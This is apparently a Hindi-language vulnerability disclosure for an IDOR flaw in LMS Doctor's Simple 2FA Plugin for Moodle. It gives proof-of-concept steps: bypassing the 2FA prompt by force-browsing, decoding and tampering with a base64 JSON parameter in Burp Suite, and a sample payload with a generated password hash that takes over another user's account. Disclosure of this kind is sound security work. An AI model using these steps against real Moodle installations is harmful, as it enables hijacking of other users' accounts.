
एक असुरक्षित प्रत्यक्ष ऑब्जेक्ट संदर्भ (IDOR) भेद्यता "LMS Doctor द्वारा Moodle के लिए Simple 2FA Plugin" में
LMS Doctor द्वारा "Simple 2FA Plugin for Moodle" में एक असुरक्षित प्रत्यक्ष वस्तु संदर्भ (IDOR) भेद्यता
भेद्यता विवरण
जोखिम : गंभीर
विक्रेता: LMS Doctor - Simple 2 Factor Authentication Plugin For Moodle
द्वारा खुलासा: Flaviu Popescu
विवरण: "LMS Doctor" द्वारा Moodle के लिए Simple 2FA Plugin में असुरक्षित प्रत्यक्ष वस्तु संदर्भ (IDOR) भेद्यता। यह दूरस्थ हमलावरों को अन्य उपयोगकर्ता खातों के ईमेल, पासवर्ड और फ़ोन नंबर जैसे संवेदनशील रिकॉर्ड अपडेट करने की अनुमति देता है।
प्रमाण की अवधारणा:
एक स्व-पंजीकृत खाते (dionach.tester) का उपयोग करके प्रारंभिक लॉगिन प्रक्रिया:
POST /login/index.php

जैसे ही 2FA प्रॉम्प्ट दिखाया जाता है, हमलावर 2FA कोड प्रदान करने के बजाय निम्नलिखित URL पर जबरन ब्राउज़ करता है।
POST /auth/simple2fa/profile.php

यह अनुरोध Burp Suite में कैप्चर किया जाता है:

पैरामीटर "u" में एक base64 एन्कोडेड स्ट्रिंग होती है। स्ट्रिंग को डिकोड किया जाता है, जो नीचे दिखाए गए अनुसार JSON प्रारूप में डेटा प्रकट करता है:

हमलावर JSON डेटा के साथ छेड़छाड़ करता है, id, ईमेल, पासवर्ड और नाम को संशोधित करता है। JSON डेटा को वापस base64 में एन्कोड किया जाता है, Burp Suite में अपडेट किया जाता है, और सर्वर को अग्रेषित किया जाता है।
पासवर्ड के लिए नई हैश पीढ़ी:
$ htpasswd -bnBC 10 "" pwn3d! | tr -d ':\n'\n
$2y$10$g/U56Hj5kb.C1mOoO6MR.Zrv1c4ml04z97CC.BdJPsMl.6LM4HVy
छेड़छाड़ किए गए डेटा का टुकड़ा:
{"id":"8045","auth":"email","confirmed":"1","policyagreed":"0","deleted":"0","suspended":"0","mnethostid":"1","username":"dionach.tester2","password":"$2y$10$g/U56Hj5kb.C1mOoO6MR.Zrv1c4ml04z97CC.BdJPsMl.6LM4HVy","idnumber":"","firstname":"Dio","lastname":"Nach","email":"flaviu.popescu+1337@[..]", [..]
जिसके परिणामस्वरूप पीड़ित का खाता, id 8045 (dionach.tester2) नीचे दिखाए अनुसार अपडेट हो जाता है:
